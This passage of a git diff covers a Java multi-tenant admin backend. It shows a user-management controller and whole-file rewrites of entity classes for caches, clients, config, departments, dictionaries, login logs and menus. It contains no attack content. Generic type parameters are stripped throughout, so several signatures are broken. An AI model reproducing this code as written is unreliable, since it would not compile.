SysUserImportVo.class, response); + } + + /** + * 获取用户信息 + * + * @return 用户信息 + */ + @GetMapping("/getInfo") + public R getInfo() { + UserInfoVo userInfoVo = new UserInfoVo(); + LoginUser loginUser = LoginHelper.getLoginUser(); + if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) { + // 超级管理员 如果重新加载用户信息需清除动态租户 + TenantHelper.clearDynamic(); + } + SysUserVo user = userService.selectUserById(loginUser.getUserId()); + if (ObjectUtil.isNull(user)) { + return R.fail("没有权限访问用户数据!"); + } + userInfoVo.setUser(user); + userInfoVo.setPermissions(loginUser.getMenuPermission()); + userInfoVo.setRoles(loginUser.getRolePermission()); + return R.ok(userInfoVo); + } + + + /** + * 获取OrderType + * @return + */ + @GetMapping("/getOrderType") + public R> getOrderType() { + return R.ok(userService.getOrderTypeIds()); + } + + + + /** + * 根据用户编号获取详细信息 + * + * @param userId 用户ID + */ + @SaCheckPermission("system:user:query") + @GetMapping(value = {"/", "/{userId}"}) + public R getInfo(@PathVariable(value = "userId", required = false) Long userId) { + SysUserInfoVo userInfoVo = new SysUserInfoVo(); + if (ObjectUtil.isNotNull(userId)) { + userService.checkUserDataScope(userId); + SysUserVo sysUser = userService.selectUserById(userId); + userInfoVo.setUser(sysUser); + userInfoVo.setRoleIds(roleService.selectRoleListByUserId(userId)); + Long deptId = sysUser.getDeptId(); + if (ObjectUtil.isNotNull(deptId)) { + SysPostBo postBo = new SysPostBo(); + postBo.setDeptId(deptId); + userInfoVo.setPosts(postService.selectPostList(postBo)); + userInfoVo.setPostIds(postService.selectPostListByUserId(userId)); + } + } + SysRoleBo roleBo = new SysRoleBo(); + roleBo.setStatus(SystemConstants.NORMAL); + List roles = roleService.selectRoleList(roleBo); + userInfoVo.setRoles(LoginHelper.isSuperAdmin(userId) ? roles : StreamUtils.filter(roles, r -> !r.isSuperAdmin())); + return R.ok(userInfoVo); + } + + /** + * 新增用户 + */ + @SaCheckPermission("system:user:add") + @Log(title = "用户管理", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysUserBo user) { + deptService.checkDeptDataScope(user.getDeptId()); + if (!userService.checkUserNameUnique(user)) { + return R.fail("新增用户'" + user.getUserName() + "'失败,登录账号已存在"); + } else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) { + return R.fail("新增用户'" + user.getUserName() + "'失败,手机号码已存在"); + } else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) { + return R.fail("新增用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + if (TenantHelper.isEnable()) { + if (!tenantService.checkAccountBalance(TenantHelper.getTenantId())) { + return R.fail("当前租户下用户名额不足,请联系管理员"); + } + } + user.setPassword(BCrypt.hashpw(user.getPassword())); + return toAjax(userService.insertUser(user)); + } + + /** + * 修改用户 + */ + @SaCheckPermission("system:user:edit") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysUserBo user) { + userService.checkUserAllowed(user.getUserId()); + userService.checkUserDataScope(user.getUserId()); + deptService.checkDeptDataScope(user.getDeptId()); + if (!userService.checkUserNameUnique(user)) { + return R.fail("修改用户'" + user.getUserName() + "'失败,登录账号已存在"); + } else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) { + return R.fail("修改用户'" + user.getUserName() + "'失败,手机号码已存在"); + } else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) { + return R.fail("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + return toAjax(userService.updateUser(user)); + } + + /** + * 删除用户 + * + * @param userIds 角色ID串 + */ + @SaCheckPermission("system:user:remove") + @Log(title = "用户管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public R remove(@PathVariable Long[] userIds) { + if (ArrayUtil.contains(userIds, LoginHelper.getUserId())) { + return R.fail("当前用户不能删除"); + } + return toAjax(userService.deleteUserByIds(userIds)); + } + + /** + * 根据用户ID串批量获取用户基础信息 + * + * @param userIds 用户ID串 + * @param deptId 部门ID + */ + @SaCheckPermission("system:user:query") + @GetMapping("/optionselect") + public R> optionselect(@RequestParam(required = false) Long[] userIds, + @RequestParam(required = false) Long deptId) { + return R.ok(userService.selectUserByIds(userIds == null ? null : List.of(userIds), deptId)); + } + + /** + * 重置密码 + */ + @ApiEncrypt + @SaCheckPermission("system:user:resetPwd") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping("/resetPwd") + public R resetPwd(@RequestBody SysUserBo user) { + userService.checkUserAllowed(user.getUserId()); + userService.checkUserDataScope(user.getUserId()); + user.setPassword(BCrypt.hashpw(user.getPassword())); + return toAjax(userService.resetUserPwd(user.getUserId(), user.getPassword())); + } + + /** + * 状态修改 + */ + @SaCheckPermission("system:user:edit") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public R changeStatus(@RequestBody SysUserBo user) { + userService.checkUserAllowed(user.getUserId()); + userService.checkUserDataScope(user.getUserId()); + return toAjax(userService.updateUserStatus(user.getUserId(), user.getStatus())); + } + + /** + * 根据用户编号获取授权角色 + * + * @param userId 用户ID + */ + @SaCheckPermission("system:user:query") + @GetMapping("/authRole/{userId}") + public R authRole(@PathVariable Long userId) { + userService.checkUserDataScope(userId); + SysUserVo user = userService.selectUserById(userId); + List roles = roleService.selectRolesAuthByUserId(userId); + SysUserInfoVo userInfoVo = new SysUserInfoVo(); + userInfoVo.setUser(user); + userInfoVo.setRoles(LoginHelper.isSuperAdmin(userId) ? roles : StreamUtils.filter(roles, r -> !r.isSuperAdmin())); + return R.ok(userInfoVo); + } + + /** + * 用户授权角色 + * + * @param userId 用户Id + * @param roleIds 角色ID串 + */ + @SaCheckPermission("system:user:edit") + @Log(title = "用户管理", businessType = BusinessType.GRANT) + @PutMapping("/authRole") + public R insertAuthRole(Long userId, Long[] roleIds) { + userService.checkUserDataScope(userId); + userService.insertUserAuth(userId, roleIds); + return R.ok(); + } + + /** + * 获取部门树列表 + */ + @GetMapping("/deptTree") + public R>> deptTree(SysDeptBo dept) { + return R.ok(deptService.selectDeptTreeList(dept)); + } + + /** + * 获取部门下的所有用户信息 + */ + @SaCheckPermission("system:user:list") + @GetMapping("/list/dept/{deptId}") + public R> listByDept(@PathVariable @NotNull Long deptId) { + return R.ok(userService.selectUserListByDept(deptId)); + } + + /** + * 根据用户名查询用户是否存在 + * @param username + * @return + */ + @GetMapping("/getSysUserByUsername/{username}") + public R getSysUserByUsername(@NotBlank(message = "用户名不能为空") @PathVariable String username) { + SysUserVo sysUserVo = userService.selectUserByUserName(username); + if(ObjectUtil.isNotNull(sysUserVo)){ + return R.fail("用户'" + sysUserVo.getUserName() + "'已存在"); + } + return R.ok(); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysCache.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysCache.java index 6c956d5..9ece5ec 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysCache.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysCache.java @@ -1,47 +1,47 @@ -package org.dromara.system.domain; - -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.StringUtils; - -/** - * 缓存信息 - * - * @author Lion Li - */ -@Data -@NoArgsConstructor -public class SysCache { - - /** - * 缓存名称 - */ - private String cacheName = ""; - - /** - * 缓存键名 - */ - private String cacheKey = ""; - - /** - * 缓存内容 - */ - private String cacheValue = ""; - - /** - * 备注 - */ - private String remark = ""; - - public SysCache(String cacheName, String remark) { - this.cacheName = cacheName; - this.remark = remark; - } - - public SysCache(String cacheName, String cacheKey, String cacheValue) { - this.cacheName = StringUtils.replace(cacheName, ":", ""); - this.cacheKey = StringUtils.replace(cacheKey, cacheName, ""); - this.cacheValue = cacheValue; - } - -} +package org.dromara.system.domain; + +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.StringUtils; + +/** + * 缓存信息 + * + * @author Lion Li + */ +@Data +@NoArgsConstructor +public class SysCache { + + /** + * 缓存名称 + */ + private String cacheName = ""; + + /** + * 缓存键名 + */ + private String cacheKey = ""; + + /** + * 缓存内容 + */ + private String cacheValue = ""; + + /** + * 备注 + */ + private String remark = ""; + + public SysCache(String cacheName, String remark) { + this.cacheName = cacheName; + this.remark = remark; + } + + public SysCache(String cacheName, String cacheKey, String cacheValue) { + this.cacheName = StringUtils.replace(cacheName, ":", ""); + this.cacheKey = StringUtils.replace(cacheKey, cacheName, ""); + this.cacheValue = cacheValue; + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysClient.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysClient.java index c659470..f619f8a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysClient.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysClient.java @@ -1,79 +1,79 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 授权管理对象 sys_client - * - * @author Michelle.Chung - * @date 2023-05-15 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_client") -public class SysClient extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @TableId(value = "id") - private Long id; - - /** - * 客户端id - */ - private String clientId; - - /** - * 客户端key - */ - private String clientKey; - - /** - * 客户端秘钥 - */ - private String clientSecret; - - /** - * 授权类型 - */ - private String grantType; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * token活跃超时时间 - */ - private Long activeTimeout; - - /** - * token固定超时时间 - */ - private Long timeout; - - /** - * 状态(0正常 1停用) - */ - private String status; - - /** - * 删除标志(0代表存在 2代表删除) - */ - @TableLogic - private String delFlag; - - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 授权管理对象 sys_client + * + * @author Michelle.Chung + * @date 2023-05-15 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_client") +public class SysClient extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @TableId(value = "id") + private Long id; + + /** + * 客户端id + */ + private String clientId; + + /** + * 客户端key + */ + private String clientKey; + + /** + * 客户端秘钥 + */ + private String clientSecret; + + /** + * 授权类型 + */ + private String grantType; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * token活跃超时时间 + */ + private Long activeTimeout; + + /** + * token固定超时时间 + */ + private Long timeout; + + /** + * 状态(0正常 1停用) + */ + private String status; + + /** + * 删除标志(0代表存在 2代表删除) + */ + @TableLogic + private String delFlag; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysConfig.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysConfig.java index df1355c..d626feb 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysConfig.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysConfig.java @@ -1,51 +1,51 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -/** - * 参数配置表 sys_config - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_config") -public class SysConfig extends TenantEntity { - - /** - * 参数主键 - */ - @TableId(value = "config_id") - private Long configId; - - /** - * 参数名称 - */ - private String configName; - - /** - * 参数键名 - */ - private String configKey; - - /** - * 参数键值 - */ - private String configValue; - - /** - * 系统内置(Y是 N否) - */ - private String configType; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +/** + * 参数配置表 sys_config + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_config") +public class SysConfig extends TenantEntity { + + /** + * 参数主键 + */ + @TableId(value = "config_id") + private Long configId; + + /** + * 参数名称 + */ + private String configName; + + /** + * 参数键名 + */ + private String configKey; + + /** + * 参数键值 + */ + private String configValue; + + /** + * 系统内置(Y是 N否) + */ + private String configType; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDept.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDept.java index 48ca682..9190e6b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDept.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDept.java @@ -1,83 +1,83 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 部门表 sys_dept - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_dept") -public class SysDept extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 部门ID - */ - @TableId(value = "dept_id") - private Long deptId; - - /** - * 父部门ID - */ - private Long parentId; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 部门类别编码 - */ - private String deptCategory; - - /** - * 显示顺序 - */ - private Integer orderNum; - - /** - * 负责人 - */ - private Long leader; - - /** - * 联系电话 - */ - private String phone; - - /** - * 邮箱 - */ - private String email; - - /** - * 部门状态:0正常,1停用 - */ - private String status; - - /** - * 删除标志(0代表存在 2代表删除) - */ - @TableLogic - private String delFlag; - - /** - * 祖级列表 - */ - private String ancestors; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 部门表 sys_dept + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_dept") +public class SysDept extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 部门ID + */ + @TableId(value = "dept_id") + private Long deptId; + + /** + * 父部门ID + */ + private Long parentId; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 部门类别编码 + */ + private String deptCategory; + + /** + * 显示顺序 + */ + private Integer orderNum; + + /** + * 负责人 + */ + private Long leader; + + /** + * 联系电话 + */ + private String phone; + + /** + * 邮箱 + */ + private String email; + + /** + * 部门状态:0正常,1停用 + */ + private String status; + + /** + * 删除标志(0代表存在 2代表删除) + */ + @TableLogic + private String delFlag; + + /** + * 祖级列表 + */ + private String ancestors; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictData.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictData.java index 9d83736..e9a7009 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictData.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictData.java @@ -1,71 +1,71 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.tenant.core.TenantEntity; - -/** - * 字典数据表 sys_dict_data - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_dict_data") -public class SysDictData extends TenantEntity { - - /** - * 字典编码 - */ - @TableId(value = "dict_code") - private Long dictCode; - - /** - * 字典排序 - */ - private Integer dictSort; - - /** - * 字典标签 - */ - private String dictLabel; - - /** - * 字典键值 - */ - private String dictValue; - - /** - * 字典类型 - */ - private String dictType; - - /** - * 样式属性(其他样式扩展) - */ - private String cssClass; - - /** - * 表格字典样式 - */ - private String listClass; - - /** - * 是否默认(Y是 N否) - */ - private String isDefault; - - /** - * 备注 - */ - private String remark; - - public boolean getDefault() { - return SystemConstants.YES.equals(this.isDefault); - } - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.tenant.core.TenantEntity; + +/** + * 字典数据表 sys_dict_data + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_dict_data") +public class SysDictData extends TenantEntity { + + /** + * 字典编码 + */ + @TableId(value = "dict_code") + private Long dictCode; + + /** + * 字典排序 + */ + private Integer dictSort; + + /** + * 字典标签 + */ + private String dictLabel; + + /** + * 字典键值 + */ + private String dictValue; + + /** + * 字典类型 + */ + private String dictType; + + /** + * 样式属性(其他样式扩展) + */ + private String cssClass; + + /** + * 表格字典样式 + */ + private String listClass; + + /** + * 是否默认(Y是 N否) + */ + private String isDefault; + + /** + * 备注 + */ + private String remark; + + public boolean getDefault() { + return SystemConstants.YES.equals(this.isDefault); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictType.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictType.java index dfd10a7..231b69c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictType.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysDictType.java @@ -1,41 +1,41 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -/** - * 字典类型表 sys_dict_type - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_dict_type") -public class SysDictType extends TenantEntity { - - /** - * 字典主键 - */ - @TableId(value = "dict_id") - private Long dictId; - - /** - * 字典名称 - */ - private String dictName; - - /** - * 字典类型 - */ - private String dictType; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +/** + * 字典类型表 sys_dict_type + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_dict_type") +public class SysDictType extends TenantEntity { + + /** + * 字典主键 + */ + @TableId(value = "dict_id") + private Long dictId; + + /** + * 字典名称 + */ + private String dictName; + + /** + * 字典类型 + */ + private String dictType; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysLogininfor.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysLogininfor.java index f379dc6..d9c5912 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysLogininfor.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysLogininfor.java @@ -1,86 +1,86 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 系统访问记录表 sys_logininfor - * - * @author Lion Li - */ - -@Data -@TableName("sys_logininfor") -public class SysLogininfor implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @TableId(value = "info_id", type = IdType.ASSIGN_ID) - private Long infoId; - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 用户账号 - */ - private String userName; - - /** - * 客户端 - */ - private String clientKey; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * 登录状态 0成功 1失败 - */ - private String status; - - /** - * 登录IP地址 - */ - private String ipaddr; - - /** - * 登录地点 - */ - private String loginLocation; - - /** - * 浏览器类型 - */ - private String browser; - - /** - * 操作系统 - */ - private String os; - - /** - * 提示消息 - */ - private String msg; - - /** - * 访问时间 - */ - private Date loginTime; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 系统访问记录表 sys_logininfor + * + * @author Lion Li + */ + +@Data +@TableName("sys_logininfor") +public class SysLogininfor implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @TableId(value = "info_id", type = IdType.ASSIGN_ID) + private Long infoId; + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 用户账号 + */ + private String userName; + + /** + * 客户端 + */ + private String clientKey; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * 登录状态 0成功 1失败 + */ + private String status; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地点 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 提示消息 + */ + private String msg; + + /** + * 访问时间 + */ + private Date loginTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysMenu.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysMenu.java index 2df5596..e453559 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysMenu.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysMenu.java @@ -1,191 +1,191 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.util.ArrayList; -import java.util.List; - -/** - * 菜单权限表 sys_menu - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_menu") -public class SysMenu extends BaseEntity { - - /** - * 菜单ID - */ - @TableId(value = "menu_id") - private Long menuId; - - /** - * 父菜单ID - */ - private Long parentId; - - /** - * 菜单名称 - */ - private String menuName; - - /** - * 显示顺序 - */ - private Integer orderNum; - - /** - * 路由地址 - */ - private String path; - - /** - * 组件路径 - */ - private String component; - - /** - * 路由参数 - */ - private String queryParam; - - /** - * 是否为外链(0是 1否) - */ - private String isFrame; - - /** - * 是否缓存(0缓存 1不缓存) - */ - private String isCache; - - /** - * 类型(M目录 C菜单 F按钮) - */ - private String menuType; - - /** - * 显示状态(0显示 1隐藏) - */ - private String visible; - - /** - * 菜单状态(0正常 1停用) - */ - private String status; - - /** - * 权限字符串 - */ - private String perms; - - /** - * 菜单图标 - */ - private String icon; - - /** - * 备注 - */ - private String remark; - - /** - * 父菜单名称 - */ - @TableField(exist = false) - private String parentName; - - /** - * 子菜单 - */ - @TableField(exist = false) - private List children = new ArrayList<>(); - - /** - * 获取路由名称 - */ - public String getRouteName() { - String routerName = StringUtils.capitalize(path); - // 非外链并且是一级目录(类型为目录) - if (isMenuFrame()) { - routerName = StringUtils.EMPTY; - } - return routerName; - } - - /** - * 获取路由地址 - */ - public String getRouterPath() { - String routerPath = this.path; - // 内链打开外网方式 - if (getParentId() != 0L && isInnerLink()) { - routerPath = innerLinkReplaceEach(routerPath); - } - // 非外链并且是一级目录(类型为目录) - if (0L == getParentId() && SystemConstants.TYPE_DIR.equals(getMenuType()) - && SystemConstants.NO_FRAME.equals(getIsFrame())) { - routerPath = "/" + this.path; - } - // 非外链并且是一级目录(类型为菜单) - else if (isMenuFrame()) { - routerPath = "/"; - } - return routerPath; - } - - /** - * 获取组件信息 - */ - public String getComponentInfo() { - String component = SystemConstants.LAYOUT; - if (StringUtils.isNotEmpty(this.component) && !isMenuFrame()) { - component = this.component; - } else if (StringUtils.isEmpty(this.component) && getParentId() != 0L && isInnerLink()) { - component = SystemConstants.INNER_LINK; - } else if (StringUtils.isEmpty(this.component) && isParentView()) { - component = SystemConstants.PARENT_VIEW; - } - return component; - } - - /** - * 是否为菜单内部跳转 - */ - public boolean isMenuFrame() { - return getParentId() == 0L && SystemConstants.TYPE_MENU.equals(menuType) && isFrame.equals(SystemConstants.NO_FRAME); - } - - /** - * 是否为内链组件 - */ - public boolean isInnerLink() { - return isFrame.equals(SystemConstants.NO_FRAME) && StringUtils.ishttp(path); - } - - /** - * 是否为parent_view组件 - */ - public boolean isParentView() { - return getParentId() != 0L && SystemConstants.TYPE_DIR.equals(menuType); - } - - /** - * 内链域名特殊字符替换 - */ - public static String innerLinkReplaceEach(String path) { - return StringUtils.replaceEach(path, new String[]{Constants.HTTP, Constants.HTTPS, Constants.WWW, ".", ":"}, - new String[]{"", "", "", "/", "/"}); - } -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.util.ArrayList; +import java.util.List; + +/** + * 菜单权限表 sys_menu + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_menu") +public class SysMenu extends BaseEntity { + + /** + * 菜单ID + */ + @TableId(value = "menu_id") + private Long menuId; + + /** + * 父菜单ID + */ + private Long parentId; + + /** + * 菜单名称 + */ + private String menuName; + + /** + * 显示顺序 + */ + private Integer orderNum; + + /** + * 路由地址 + */ + private String path; + + /** + * 组件路径 + */ + private String component; + + /** + * 路由参数 + */ + private String queryParam; + + /** + * 是否为外链(0是 1否) + */ + private String isFrame; + + /** + * 是否缓存(0缓存 1不缓存) + */ + private String isCache; + + /** + * 类型(M目录 C菜单 F按钮) + */ + private String menuType; + + /** + * 显示状态(0显示 1隐藏) + */ + private String visible; + + /** + * 菜单状态(0正常 1停用) + */ + private String status; + + /** + * 权限字符串 + */ + private String perms; + + /** + * 菜单图标 + */ + private String icon; + + /** + * 备注 + */ + private String remark; + + /** + * 父菜单名称 + */ + @TableField(exist = false) + private String parentName; + + /** + * 子菜单 + */ + @TableField(exist = false) + private List children = new ArrayList<>(); + + /** + * 获取路由名称 + */ + public String getRouteName() { + String routerName = StringUtils.capitalize(path); + // 非外链并且是一级目录(类型为目录) + if (isMenuFrame()) { + routerName = StringUtils.EMPTY; + } + return routerName; + } + + /** + * 获取路由地址 + */ + public String getRouterPath() { + String routerPath = this.path; + // 内链打开外网方式 + if (getParentId() != 0L && isInnerLink()) { + routerPath = innerLinkReplaceEach(routerPath); + } + // 非外链并且是一级目录(类型为目录) + if (0L == getParentId() && SystemConstants.TYPE_DIR.equals(getMenuType()) + && SystemConstants.NO_FRAME.equals(getIsFrame())) { + routerPath = "/" + this.path; + } + // 非外链并且是一级目录(类型为菜单) + else if (isMenuFrame()) { + routerPath = "/"; + } + return routerPath; + } + + /** + * 获取组件信息 + */ + public String getComponentInfo() { + String component = SystemConstants.LAYOUT; + if (StringUtils.isNotEmpty(this.component) && !isMenuFrame()) { + component = this.component; + } else if (StringUtils.isEmpty(this.component) && getParentId() != 0L && isInnerLink()) { + component = SystemConstants.INNER_LINK; + } else if (StringUtils.isEmpty(this.component) && isParentView()) { + component = SystemConstants.PARENT_VIEW; + } + return component; + } + + /** + * 是否为菜单内部跳转 + */ + public boolean isMenuFrame() { + return getParentId() == 0L && SystemConstants.TYPE_MENU.equals(menuType) && isFrame.equals(SystemConstants.NO_FRAME); + } + + /** + * 是否为内链组件 + */ + public boolean isInnerLink() { + return isFrame.equals(SystemConstants.NO_FRAME) && StringUtils.ishttp(path); + } + + /** + * 是否为parent_view组件 + */ + public boolean isParentView() { + return getParentId() != 0L && SystemConstants.TYPE_DIR.equals(menuType); + } + + /** + * 内链域名特殊字符替换 + */ + public static String innerLinkReplaceEach(String path) { + return StringUtils.replaceEach(path, new String[]{Constants.HTTP, Constants.HTTPS, Constants.WWW, ".", ":"}, + new String[]{"", "", "", "/", "/"}); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysNotice.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysNotice.java index fb1df87..9a086b9 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysNotice.java +++ 